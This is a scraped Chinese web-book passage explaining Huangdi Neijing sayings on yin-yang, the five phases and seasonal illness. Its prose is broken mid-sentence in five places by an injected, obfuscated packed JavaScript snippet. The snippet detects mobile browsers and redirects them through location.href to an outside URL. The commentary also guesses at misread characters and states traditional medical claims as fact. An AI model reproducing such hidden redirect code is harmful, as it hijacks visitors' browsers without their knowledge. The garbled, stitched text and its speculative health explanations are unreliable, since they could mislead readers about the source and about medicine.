“阴味出下窍，阳气出上窍”这句话，描述了人体在生理代谢过程中，阴阳两种性质的物质通过不同的渠道排出体外。其中，“阴味”指的是食物中的营养物质经过消化吸收后产生的代谢产物，这些物质通常通过下窍（如肠道、尿道等）排出体外；“阳气”则是指人体内的生命能量，它推动人体的各种生命活动，并通过上窍（如口、鼻、皮肤等）以气态形式散发出来。 “味厚者为阴，薄为阴之阳；气厚者为阳，薄为阳之阴”这句话，进一步解释了阴阳与气味之间的关系。在中医理论中，食物中的五味（酸、苦、甘、辛、咸）被分为阴阳两类，其中味厚的食物（如油腻、甘甜等）属于阴性，因为它们具有滋养、补益的作用，能够补充人体内的阴液；而味薄的食物（如清淡、微苦等）则属于阴中之阳，因为它们虽然具有滋养作用，但性质较为轻清，不会过于滋腻。同样地，气也有厚薄之分，气厚的食物（如辛辣、温热等）属于阳性，因为它们具有温煦、推动的作用，能够增强人体内的阳气；而气薄的食物（如平和、微凉等）则属于阳中之阴，因为它们虽然具有温煦作用，但性质较为平和，不会过于燥热。 这章没有结束，请点击下一页继续阅读！ 第5章 （3）中医智慧：阴盛则寒，阳盛则热，你了解吗？ “阴盛则阳病，阳盛则阴病，阳盛则热，阴盛则寒”这一表述源自中医的阴阳理论，是中医学中的一个基本观念，用以描述人体内环境的动态平衡。 在中医看来，人体内的各种生命活动可以被归纳为阴阳两个方面。阴阳相互依存、相互制约，处于不断的变化之中，但又保持着相对的平衡状态。当这种平衡被打破时，就会出现各种疾病。 “阴盛则阳病”意味着当体内的阴气过于强盛时，阳气就会相对不足，从而导致阳气的功能受到影响，出现一系列阳虚的症状，如畏寒、四肢不温、精神不振等。 “阳盛则阴病”则是指当体内的阳气过于强盛时，阴气就会相对不足，导致阴气的功能受到影响，出现一系列阴虚的症状，如口干、咽干、五心烦热、潮热盗汗等。 “阳盛则热”和“阴盛则寒”则进一步解释了阴阳失衡时，人体所表现出的寒热症状。当阳气过盛时，人体会表现出热的症状，如发热、面红目赤、口渴等；而当阴气过盛时，人体则会表现出寒的症状，如畏寒、四肢不温、腹痛腹泻等。 在中医治疗中，医生会根据患者的具体症状，判断其阴阳失衡的具体情况，然后采取相应的治疗措施，以恢复阴阳的平衡，从而达到治疗疾病的目的。 “重寒则热，重热则寒，寒伤形热伤气”这句话在中医理论中有所体现，它揭示了寒热两种病理变化对人体的影响。 首先，让我们来谈谈“重寒则热”。在中医看来，如果身体受到过度的寒冷刺激，导致体内寒气过重，人体会启动自身的调节机制，试图通过产生热量来驱寒。这种过度的寒冷刺激，可能会使人体出现一系列热的症状，如发热、口渴、烦躁等。这种现象可以用“物极必反”的原理来解释，即过度的寒冷刺激会导致体内产生与之相反的热性反应。 接下来是“重热则寒”。同样地，如果身体受到过度的热性刺激，如高温环境、辛辣食物等，导致体内热气过重，人体也会启动自身的调节机制，试图通过散热来降温。过度的热性刺激可能会使人体出现一系列寒的症状，如四肢不温、畏寒、出汗减少等。这也是人体为了维持内环境稳定而做出的适应性反应。 至于“寒伤形热伤气”，这里的“形”指的是人体的形态结构，“气”则是指人体的生理功能。寒邪主要损伤人体的形态结构，如导致肌肉僵硬、关节疼痛等；而热邪则主要损伤人体的生理功能，如影响气血运行、损伤脏腑功能等。 综上所述，“重寒则热，重热则寒，寒伤形热伤气”这句话揭示了寒热两种病理变化对人体的影响及其相互转化的关系。在中医治疗中，医生会根据患者的具体病情，采取相应的治疗方法来调和寒热，恢复人体的阴阳平衡。 关于“气伤痛形伤肿，故先痛后肿者，气伤形也，先肿而后痛者，形伤气也”这一观点，它源自中医的伤科理论，用以解释人体在受伤后出现的疼痛与肿胀现象。 首先，让我们来理解“气伤痛”这一说法。在中医理论中，“气”是构成人体和维持人体生命活动的最基本物质，具有推动、温煦、防御、固摄和气化等功能。当人体受到外力伤害时，如果首先伤及“气”，则会出现疼痛现象。这是因为“气”的流动受阻，气血不畅，导致疼痛的产生。 接下来是“形伤肿”。这里的“形”指的是人体的形态结构，包括肌肉、骨骼、皮肤等。当这些形态结构受到外力伤害时，局部会出现肿胀现象。这是因为组织受到损伤后，毛细血管破裂，血液、组织液等渗出到组织间隙中，导致肿胀。 “故先痛后肿者，气伤形也”意味着如果受伤后首先出现疼痛，随后出现肿胀，那么可以判断是“气”先受伤，然后影响到了“形”。这种情况下，疼痛是由于“气”的流动受阻所致，而肿胀则是由于“形”受到损伤后，血液、组织液等渗出所致。 “先肿而后痛者，形伤气也”则是指如果受伤后首先出现肿胀，随后才出现疼痛，那么可以判断是“形”先受伤，然后影响到了“气”。这种情况下，肿胀是由于组织受到损 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428612|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伤后，血液、组织液等渗出所致，而疼痛则是由于“气”的流动受阻，气血不畅所致。 总的来说，这一观点揭示了人体在受伤后疼痛和肿胀现象的产生机制，以及它们之间的相互关系。在中医伤科治疗中，医生会根据患者的具体症状，判断是“气”受伤还是“形”受伤，然后采取相应的治疗措施来调和气血，恢复人体的正常功能。 在中医理论中，“风胜则动，热胜则肿，燥胜则干，寒胜则浮，湿胜则濡泻”这一表述，深刻揭示了不同邪气侵袭人体时所产生的特定病理变化。 首“风胜则动”意味着当风邪成为主要致病因素时，人体的表现以“动”为主。这种“动”不仅体现在外在的肢体动摇不定，如抽搐、震颤等，还包括内在脏腑经络之气的动荡不安，如肝风内动等。 “热胜则肿”指出，当热邪成为主要致病因素时，人体的局部或全身会出现肿胀的现象。这是因为热邪煎灼津液，使血液和津液运行不畅，积聚于局部，从而导致肿胀。 “燥胜则干”描述了燥邪侵袭人体时，会导 致各种干燥的症状。这是因为燥邪会消耗人体的津液，使组织器官失去滋润，从而出现皮肤干燥、毛发干枯、口唇干裂等现象。 “寒胜则浮”则是说，当寒邪成为主要致病因素时，人体的气血会向上浮散，出现一系列浮越于外的表现。例如，寒邪侵袭肌表时，会使皮肤毛孔收缩，气血不能外达，从而表现为恶寒发热、无汗等症状。 “湿胜则濡泻”则是指当湿邪成为主要致病因素时，人体的肠道会出现湿邪过盛、水湿内停的情况，从而导致大便溏泄、稀水便等症状。湿邪还会导致人体的气机不畅，出现胸闷、腹胀等症状。 这一表述揭示了不同邪气侵袭人体时所产生的特定病理变化，为中医临床诊断和治疗提供了重要的理论依据。在中医治疗中，医生会根据患者的具体症状，判断是哪种邪气为主要致病因素，然后采取相应的治疗措施来祛除邪气、恢复人体的阴阳平衡。 第5章 （4）中医养生秘诀：四时五行如何塑造你的身心健康？ 关于“天有四时五行，以生长收藏，以生寒暑湿燥风，人有五脏化五气，以生喜怒悲忧恐”这一观点，它源自中国古代的哲学和医学理论，特别是中医的五行学说。 首先，我们来看“天有四时五行”。四时，即春、夏、秋、冬四季，它们分别代表了生长、繁荣、收敛和收藏的自然过程。五行，即金、木、水、火、土，它们之间相生相克，循环不息，是构成宇宙万物的基本元素。四时与五行相结合，共同构成了自然界的基本运行规律。 接下来，“以生寒暑湿燥风”描述的是四时五行对气候的影响。春天属木，主生发，气候温暖湿润；夏天属火，主繁荣，气候炎热干燥；秋天属金，主收敛，气候凉爽干燥；冬天属水，主收藏，气候寒冷湿润。而湿燥风等气候现象，也是五行在不同季节的具体表现。 再来看“人有五脏化五气，以生喜怒悲忧恐”。五脏，即心、肝、脾、肺、肾，它们各自具有不同的功能和特性，也与五行有着密切的关系。心属火，主喜；肝属木，主怒；脾属土，主忧思；肺属金，主悲；肾属水，主恐。五脏的功能状态会直接影响到人的情绪变化，而情绪的变化也会反过来影响五脏的功能。 总的来说，这一观点体现了中国古代哲学和医学对人与自然关系的深刻认识。它告诉我们，人与自然是一个不可分割的整体，人的身心健康与自然环境的变化密切相关。因此，我们应该顺应自然规律，保持身心的和谐与平衡。 “故其怒伤气寒属伤形，暴怒伤阴，暴气伤阳”这句话，虽短但意义深远，涉及到了中医的养生和情志致病理论。 首先，我们来看“怒伤气寒属伤形”。在中医学中，怒是一种情志，与肝相应。当怒气过度时，会伤害肝气，导致气机紊乱。而“气寒”可以理解为气的功能下降，无法正常地温煦身体，导致身体形态上的损伤，比如气滞血瘀等。因此，这句话可以理解为过度的怒气会伤害身体的气机，进而影响到身体的形态和功能。 接下来，“暴怒伤阴，暴气伤阳”。这里的“阴”和“阳”是中医理论中的两个重要概念，代表了人体内的两种对立而又统一的物质或功能状态。阴主静，阳主动；阴主柔，阳主刚。暴怒是一种极端的情绪反应，它会使肝气暴涨，从而伤害阴液，导致阴虚火旺的病理状态。而“暴起”则可能指的是突然的动作或行为，这种突然的剧烈运动或活动，会过度消耗阳气，导致阳虚的病理状态。 从中医的角度来看，情志与身体的健康是密切相关的。过度的情绪反应会伤害身体的脏腑功能，导致各种疾病的发生。因此，我们在日常生活中应该尽量保持情绪的稳定和平衡，避免过度的情绪反应。同时，也要注重身体的锻炼和调养，保持身体的阴阳平衡，以预防疾病的发生。 当然，这只是一种中医的理论解释，具体的病情和治疗方法还需要根据患者的具体情况来综合判断。但无论如何，保持情绪的稳定和平衡都是非常重要的。 “厥气上行，满脉去形，喜怒不节，寒暑过度，生乃不固。故重阴必阳，重阳必阴”这句话，源于中医的阴阳平衡理论，深刻揭示了人体健康与自然、情志的密切联系。 首先，我们来解析前半句：“厥气上行，满脉去形，喜怒不节，寒暑过度，生乃不固”。这里的“厥气”指的是一种逆乱之气，当这种气逆乱上行，充满经脉，就可能导致身体的形态和功能受损。而“喜怒不节”和“寒暑过度”则分别指情绪的不稳定和外界环境的极端变化，这些因素都可能破坏人体的阴阳平衡，使生命活力不稳固。 接着，我们来看后半句：“故重阴必阳，重阳必阴”。这是中医阴阳理论的核心内容之一。在中医看来，阴阳是相互依存、相互制约的，任何一方都不能脱离另一方而单独存在。当阴气过多时，阳气就会相对不足，反之亦然。这就是“重阴必阳，重阳必阴”的道理。 从现代科学的角度来看，这句话也具有一定的合理性。人体内的各种生理功能和代谢过程都是在一定的平衡状态下进行的，任何一种因素的过度或不足都可能打破 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428613|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这种平衡，导致身体出现问题。因此，保持情绪的稳定、避免外界环境的极端变化、维护身体的阴阳平衡，对于保持身体健康是非常重要的。 总之，这句话告诉我们，要想保持身体健康，就必须注意维护身体的阴阳平衡，避免各种因素的过度或不足对身体造成损害。同时，也要注重调节自己的情绪和适应外界环境的变化，以保持身心的和谐与健康。 中医理论中的“四时五气”对人体健康的影响，以及因时不当而导致的疾病传变规律。 首先，“冬伤于寒，春必温病”指的是如果在冬天受到寒邪的侵袭，没有得到及时的治疗和调理，那么到了春天，就可能会引发温病。这是因为冬天气候寒冷，人体阳气内藏，若此时受到寒邪侵袭，容易损伤阳气，导致体内阴阳失衡。春天阳气生发，但由于冬天寒邪的遗留，使得阳气生发受阻，从而引发温病。 接着，“春伤于风，夏生飧泄”则是指在春天受到风邪的侵袭，可能会影响到夏天的消化功能，导致飧泄（即消化不良、腹泻等）的发 生。春天是肝气生发的季节，风邪与肝相应，若春天受到风邪的侵袭，容易损伤肝气，导致肝气疏泄失常。夏天阳气旺盛，但由于春天肝气受损，使得夏天消化功能受到影响，从而引发飧泄。 再来看“夏伤于暑，秋必害疟”和“秋伤于湿，冬生咳嗽”。夏天气候炎热，人体阳气外泄，若此时受到暑邪的侵袭，容易损伤人体的阴液，导致阴液不足。秋天是阴液收敛的季节，但由于夏天暑邪的遗留，使得阴液收敛受阻，从而引发疟疾。而秋天湿邪较重，若此时受到湿邪的侵袭，容易损伤肺气，导致肺气宣降失常。冬天阳气内藏，但由于秋天肺气受损，使得冬天肺气宣降不畅，从而引发咳嗽。 这句话通过描述四季中因时不当而导致的疾病传变规律，强调了顺应四时变化、调和阴阳平衡的重要性。在中医看来，人体健康与自然环境息息相关，只有顺应自然规律、保持阴阳平衡，才能保持身体健康、预防疾病的发生。 第5章 （5）揭秘上古圣人：人形伦理与脏腑经络的奥秘 “上古圣人伦理人形，列别脏腑，端络经脉，会通六合，各从其经”这句话，源自中国古代医学与哲学思想的交融，体现了古人对人体结构与天地自然之间关系的深刻认识。 “伦理人形”并非指人的道德品质或伦理关系，而是指对人体结构和功能的理性认识和把握。在这里，“伦理”可以理解为一种条理化、系统化的认知方式。 “列别脏腑”指的是对人体内脏器官的分类和辨识。在中医理论中，脏腑是人体内部功能的主要承担者，每个脏腑都有其特定的功能和作用，共同维持着人体的生命活动。 “端络经脉”则是对人体经络系统的描述。经络是中医理论中的重要概念，指的是人体内气血流通的通道，它们如同网络一般遍布全身，连接着五脏六腑、四肢百骸，是维持人体正常生理功能的重要基础。 “会通六合”则是强调人体与天地自然之间的紧密联系。在中医理论中，人体被视为一个微缩的宇宙，与天地自然之间存在着相互作用、相互影响的关系。这种关系体现在人体的生理、病理变化上，也体现在人的精神、心理活动中。 “上古圣人伦理人形，列别脏腑，端络经脉，会通六合，各从其经”这句话体现了古人对人体结构和功能的深刻认识，以及对人体与天地自然之间关系的独特理解。这种认识不仅为中医理论的发展奠定了基础，也为后人对人体健康的探索提供了宝贵的启示。 当然，我们可以进一步深入探讨这句话中的深层含义和实践意义。 “上古圣人伦理人形”这句话不仅仅是对人体结构的描述，更是对生命奥秘的一种领悟。这种领悟源于古人对宇宙、自然、生命的长期观察和实践，是对生命本质和人体健康状态的一种高度概括和总结。 “列别脏腑”不仅仅是对人体内脏器官的分类，更是对人体内部功能的精细划分和认知。在中医理论中，脏腑的功能状态直接影响着人体的健康状况。因此，通过对脏腑功能的了解，可以更好地把握人体的健康状态，为中医的诊断和治疗提供有力的支持。 “端络经脉”则揭示了人体内部气血流通的规律。在中医看来，气血是维持人体生命活动的基本物质，而经络则是气血流通的通道。通过了解和掌握经络的走向和分布，可以更好地理解气血流通的规律，从而有效地调节人体的生理功能，达到治疗疾病的目的。 “会通六合”进一步强调了人体与天地自然之间的密切联系。在中医理论中，人体被视为一个微缩的宇宙，与天地自然之间存在着相互作用、相互影响的关系。这种关系不仅体现在生理、病理上，更体现在人的精神、心理上。因此，在中医的治疗中，不仅关注人体的生理变化，更注重人的精神、心理状态的调节，以达到身心和谐、健康长寿的目的。 “各从其经”则是对气血流通规律的进一步强调。在中医看来，气血的流通是按照一定的路径和规律进行的，这种规律是自然界赋予人体的宝贵财富。因此，在治疗疾病时，中医强调“调和气血”、“疏通经络”，通过调节气血的流通状态，达到治疗疾病的目的。 综上所述，“上古圣人伦理人形，列别脏腑，端络经脉，会通六合，各从其经”这句话不仅体现了古人对人体结构和功能的深刻认识，更蕴含了中医理论的精髓和实践意义。通过对这句话的深入理解和应用，我们可以更好地把握人体的健康状态，为中医的诊断和治疗提供有力的支持，实现身心和谐、健 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428614|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 康长寿的目标。 关于“气穴所发，各有处名，谿谷属骨，皆有所起，分部逆从各有条理，四时阴阳尽有经纪”这句话，它实际上来源于中医的经络穴位理论，是对人体经络系统中穴位分布及其与自然界阴阳四时变化之间关系的深刻描述。 首先，“气穴所发，各有处名”指的是人体经络系统中的穴位，它们各自有着特定的位置和名称。这些穴位不仅是气血流通的枢纽，也是中医针灸、推拿等治疗方法的重要靶点。 接着，“谿谷属骨，皆有所起”描述了人体骨骼与穴位之间的关系。在中医看来，穴位往往位于骨骼之间的缝隙或凹陷处，这些位置是气血流通的关键节点。因此，了解骨骼的结构和穴位的位置对于理解和应用中医的经络理论具有重要意义。 “分部逆从各有条理”则强调了人体经络系统中气血流通的规律和条理。在中医理论中，气血的流通是按照一定的路径和规律进行的，这种规律不仅体现在经络的走向上，也体现在气血流通的速度和方向上。因此，在治疗疾病时，中医注重根据气血流通的规律来选择合适的治疗方法和手段。 最后，“四时阴阳尽有经纪”则揭示了人体与自然界阴阳四时变化之间的密切联系。在中医看来，人体的生理和病理变化受到自然界阴阳四时变化的影响。因此，在治疗疾病时，中医注重根据自然界阴阳四时的变化来调整人体的阴阳平衡，以达到治疗疾病的目的。 综上所述，“气穴所发，各有处名，谿谷属骨，皆有所起，分部逆从各有条理，四时阴阳尽有经纪”这句话深刻阐述了中医经络穴位理论的核心内容，为我们理解和应用中医的经络理论提供了 重要的理论支持和实践指导。 第5章 （6）人体形态学新视角：探索脏腑经络与六合的奇妙交织 肝脏涉及到了中医的五行理论，以及五行间的相生关系。在中医的五行理论中，木、火、土、金、水五种元素相互制约、相互滋生，以维持人体的平衡。具体到“东方生风风生木木生酸酸生肝肝生筋，筋生心肝主木”这句话，我们可以这样理解： 1. “东方生风风生木”：在五行理论中，东方与春季、木、风相对应。春季万物复苏，风气生发，木气也随之旺盛。 2. “木生酸”：酸味食物或药物具有收敛、固涩的作用，与木的特性（生长、升发）相对应。在五行理论中，酸味入肝，能滋养肝木。 3. “酸生肝”：酸味食物或药物能滋养肝脏，促进肝气的生发和疏泄。 4. “肝生筋”：在中医理论中，肝主筋，肝气的盛衰直接影响到筋的功能。肝血充足，筋得其养，才能运动灵活有力。 5. “筋生心”：这里可能存在一点误解，因为在五行理论中，筋与心之间并没有直接的相生关系。然而，我们可以从中医的整体观来理解。筋的功能正常，身体活动自如，气血流通顺畅，有助于心的功能发挥。 6. “肝主木”：这指的是肝在五行中属木，具有木的特性和功能，如生长、升发、疏泄等。 总的来说，这句话描述了五行理论中木、酸、肝、筋之间的相生关系，以及肝在五行中的属性。然而，需要注意的是，中医的五行理论是一个复杂的系统，需要综合考虑各种因素来理解和应用。 “妻”这一概念与五行、五体、五脏、五色、五音、五声、五变、七窍、五味以及五志之间的关系。但显然，这里有个小小的误解，因为在中医理论中，“妻”并不作为一个独立的元素参与五行等系统的分类。 然而，如果我们将“妻”替换为中医中常见的“气”来解答这个问题，就能得到一个合理的解释。在中医理论中，“气”是一个核心概念，它贯穿于人体的各个方面，与五行、五体、五脏等密切相关。 1. 在天为风：在自然界中，气表现为风，是天地之间流动的能量。 2. 在地为木：木是五行之一，代表着生长和升发，与气的生发和疏泄功能相对应。 3. 在体为金：这里的“金”可能指的是肺，因为肺主气，而金在五行中又与肺相对应。但直接对应到“体”的“金”并不常见，可能是某种特定的解释或理论。 4. 在藏为肝：肝主疏泄，与气的流通和调节密切相关。在中医理论中，肝被认为是气的储存和调节器官。 5. 在色为苍：苍色通常与木、肝相对应，代表生机和活力。 6. 在阴为角：角是五音之一，与木、肝、气的生发和疏泄特性相呼应。 7. 在生为呼：呼吸是气的最基本表现形式之一，与气的流通和循环密切相关。 8. 再变为恶：这里可能是指气的异常变化会导致疾病或不适，即“恶”。但直接对应到“恶”并不常见，可能需要具体上下文来理解。 9. 在窍为目：中医认为目为肝之窍，因为肝开窍于目，与气的流通和调节密切相关。 10. 在胃为酸：酸味入肝，能滋养肝木，促进气的生发和疏泄。在胃中表现为酸味，可能是指酸味食物或药物对肝和胃的影响。 11. 在治为怒：怒是五志之一，与肝、气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428615|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 密切相关。中医认为怒伤肝，因此调节情绪、避免过度愤怒对于养肝和调气非常重要。 以上是对“气”在中医理论中与五行、五体、五脏等关系的简要解释。希望这个回答能够满足你的需求。 心脏 关于“南方生热，热生火，火生苦，苦生心，心生血，血生脾，心主舌”这一说法，它体现了中医理论中“五行学说”与人体脏腑、情志、味道等相互关系的深刻见解。 首先，我们来看“南方生热”这一说法。在中医的五行理论中，南方对应的是火，而火象征着热。这里的“生”可以理解为“产生”或“助长”的意思，也就是说南方的气候特点有助于热能的产生和助长。 接下来，“热生火”可以理解为热能的聚集和转化，最终形成火的形态或状态。这与自然界中火的形成和燃烧过程相类似。 “火生苦”则是指火的特性能够产生苦味。在中医理论中，五味（酸、苦、甘、辛、咸）与五行（木、火、土、金、水）之间有着密切的对应关系，苦味对应的是火。 “苦生心”是说苦味的食物或药物对心脏有一定的滋养作用。中医认为，苦味能够清热泻火，有助于心脏功能的正常运作。 “心生血”则是强调心脏在血液生成过程中的重要作用。在中医理论中，心脏被视为“君主之官”，主宰着人体的血脉运行。 “血生脾”可以理解为血液对脾脏的滋养作用。在中医理论中，脾主运化，负责将食物转化为营养物质并输送到全身各处，而血液的滋养作用有助于脾脏功能的正常发挥。 本小章还未完，请点击下一页继续阅读后面精彩内容！ 第5章 （7）． 揭秘阴阳之道：圣人如何实践并保养身心？ 在探讨“帝曰，法阴阳奈何？”这一问题时，我们首先要理解其中的“法阴阳”意味着如何根据阴阳的理论来指导实践或治疗。在《黄帝内经》中，岐伯对黄帝的这一问题给出了深入的解答。 岐伯提到，“阳胜则身热，腠理闭，喘粗为之俯仰，汗不出而热，齿干以烦冤，腹满死。”这里的描述详细展示了阳邪过盛在人体中可能产生的病理表现。 首先，“阳胜则身热”，指的是当人体内的阳气过于旺盛时，会导致身体发热。这是因为阳气本身具有温热性质，过多时会使人体体温升高。 接下来，“腠理闭”，腠理指的是皮肤、肌肉之间的纹理和空隙，是汗液排泄的通道。当阳邪过盛时，这些通道会被堵塞，导致汗液无法正常排出。 “喘粗为之俯仰”，描述了由于阳邪过盛，导致呼吸不畅，出现喘息粗重，甚至需要俯身仰头以缓解呼吸困难的症状。 “汗不出而热”，进一步强调了由于腠理闭塞，汗液无法排出，使得体内的热量无法散发，从而加剧了身体的发热症状。 “齿干以烦冤”，则描述了由于体内热邪过盛，导致口腔干燥，牙齿失去润泽，同时出现心烦意乱、情绪不安的症状。 最后，“腹满死”，这是一个严重的病理转归。当阳邪过盛到一定程度时，会导致身体内部的阴阳平衡完全失调，出现“腹复满”的病理状态，即体内充满热邪，无法排泄，最终导致生命的终结。 岐伯的这段话为我们提供了对“法阴阳”理论的深入理解。在治疗上，需要根据阴阳失衡的具体情况，采取相应的方法进行调整，以恢复人体的阴阳平衡。 关于“阴胜则身寒，汗出，身常清，数栗而寒，寒则厥，厥则腹满死，能夏不能冬，此阴阳更胜之变，病之行能也”这一问题，它涉及到了中医理论中的阴阳平衡与疾病变化的深刻内涵。 首先，我们来看“阴胜则身寒”这句话。在中医理论中，阴阳相互依存、相互制约，任何一方过强或过弱都会导致身体的失衡。当阴气过盛时，身体就会表现出寒冷的症状，这是因为阴气的性质是寒冷、静止的。 接着，“汗出，身常清”描述了阴胜时身体的另一个特征。这里的“汗出”并非指正常的排汗，而是由于阴气过盛，导致阳气无法固摄汗液，从而出现了异常的出汗现象。而“身常清”则可能指的是皮肤温度偏低，给人一种清爽的感觉，但实际上这是阴胜导致的身体寒冷的表现。 “数栗而寒，寒则厥”进一步描述了阴胜的症状。当身体寒冷到一定程度时，人们会不由自主地颤抖（数栗），这是因为身体在努力产生热量以对抗寒冷。然而，如果寒冷过于严重，就会导致四肢厥冷，这是因为四肢距离心脏较远，血液循环不畅，更容易受到寒冷的影响。 “厥则腹满死”是一个严重的病理转归。当四肢厥冷发展到一定程度时，会影响到腹部的气血循环，导致腹部胀满。如果此时得不到及时的治疗和调理，病情会进一步恶化，甚至危及生命。 “能夏不能冬”则描述了阴胜体质的人在季节变化中的表现。由于他们体内阴气过盛，所以在寒冷的冬季更容易出现不适和疾病。而在炎热的夏季，虽然外界阳气旺盛，但由于他们体内阴气过重，所以仍然会表现出一些寒冷的症状。 “此阴阳更胜之变，病之行能也”是对整个病理过程的总结。它告 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428616|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诉我们，阴阳的失衡是导致疾病发生和发展的重要原因。当阴阳之间的平衡被打破时，就会出现各种疾病症状。因此，在治疗疾病时，需要根据阴阳失衡的具体情况来进行调理和治疗。 以上就是对“阴胜则身寒，汗出，身常清，数栗而寒，寒则厥，厥则腹满死，能夏不能冬，此阴阳更胜之变，病之行能也”这一问题的回答。希望能够帮助大家更好地理解中医理论中的阴阳平衡与疾病变化的关系。 关于“帝曰调此二者奈何？”的问题，岐伯的回答“能知七损八益，则二者可调，不知用此则早衰也”揭示了调和阴阳的关键在于理解并应用“七损八益”的原则。 我们来探讨一下“七损八益”的含义。在中医理论中，“七损八益”是一种养生原则，它指的是在日常生活中，我们要根据自然规律和人体的需要，来合理地调整自己的生活方式和饮食习惯，以达到阴阳平衡、身心和谐的状态。 具体来说，“七损”可能指的是人体在日常生活中容易损耗的七个方面，如情绪、精力、体力、睡眠、饮食等。而“八益”则是指对人体有益的八个方面，如适当的运动、合理的饮食、良好的睡眠、平和的心态等。通过了解并遵循这些原则，我们可以有效地调节体内的阴阳平衡，从而保持身体健康和精力充沛。 那么，为什么“不知用此则早衰也”呢？这是因为如果我们不了解或忽视“七损八益”的原则，就会导致身体内部阴阳失衡，从而引发各种疾病和不适。长期下来，就会加速人体的衰老过程，使我们在年龄上还未老去，但身体已经失去了应有的活力和健康。 本小章还未完，请点击下一页继续阅读后面精彩内容！ 第5章 （8）揭秘方位与阴阳奥秘：人体内的阴阳变化全解析 我们要理解这里的“天不足西北”和“地不满东南”并不是指物理上的天空和地面有缺口，而是古人对宇宙空间的一种哲学化、象征性的表达。 “天不足西北”是说在古人的宇宙观念中，西北方是天之极限，是阳气难以充盈之地，因此被视为“阴”的所在。相应的，“地不满东南”则是指东南方是地之尽头，是阴气难以到达之处，故被视为“阳”的所在。 接下来，关于“人右耳目不如左明也”和“人左手足不如右强也”的论述，其实是将人体与宇宙空间进行了一种象征性的对应。在古代中医和哲学理论中，人体的左右两侧往往与阴阳、气血等概念相联系。例如，左侧往往被视为阴、血、柔的象征，而右侧则代表阳、气、刚的特性。因此，古人观察到人体右耳的听力和右目的视力可能稍逊于左侧（这一观察可能并不完全准确，但反映了古人对人体的一种理解和归纳），就将其与“天不足西北”的阴性特征相对应；同样，左手足的力量可能不如右侧强健，就与“地不满东南”的阳性特征相联系。 这种对应并不是简单的类比，而是体现了古人对宇宙与人体相互关联、相互映射的宇宙观和人体观。它体现了古人对自然和人体深刻的理解和认识，也反映了古人对宇宙和人体间微妙关系的探索和追求。 关于“帝曰，何以然？岐伯曰，东方阳也。阳者其精并于上，并于上则上明而下虚，故使耳目聪明而手足不便也”这一论述，我们可以从中医的阴阳理论角度来理解。 首先，岐伯所说的“东方阳也”，是基于五行学说和方位对应关系的解释。在中医理论中，五行（金、木、水、火、土）与方位（东、南、西、北、中）有着密切的对应关系，其中东方对应木，而木又代表阳气的生发。因此，东方被视为阳气的发源地。 接下来，岐伯进一步解释说，“阳者其精并于上，并于上则上明而下虚”。这里的“精”可以理解为阳气的精华或者能量，当阳气聚集在上方时，就会导致上半身的阳气充足，表现为耳目等感官的灵敏和清晰。而由于阳气集中于上，下半身相对就显得空虚，也就是所谓的“下虚”。 “故使耳目聪明而手足不便也”是对前述理论的具体表现描述。由于上半身阳气充足，所以人的耳目等感官功能会特别敏锐和聪明；而由于下半身阳气相对不足，可能会导致手足等运动器官的功能受到一定影响，表现为不便或者不够灵活。 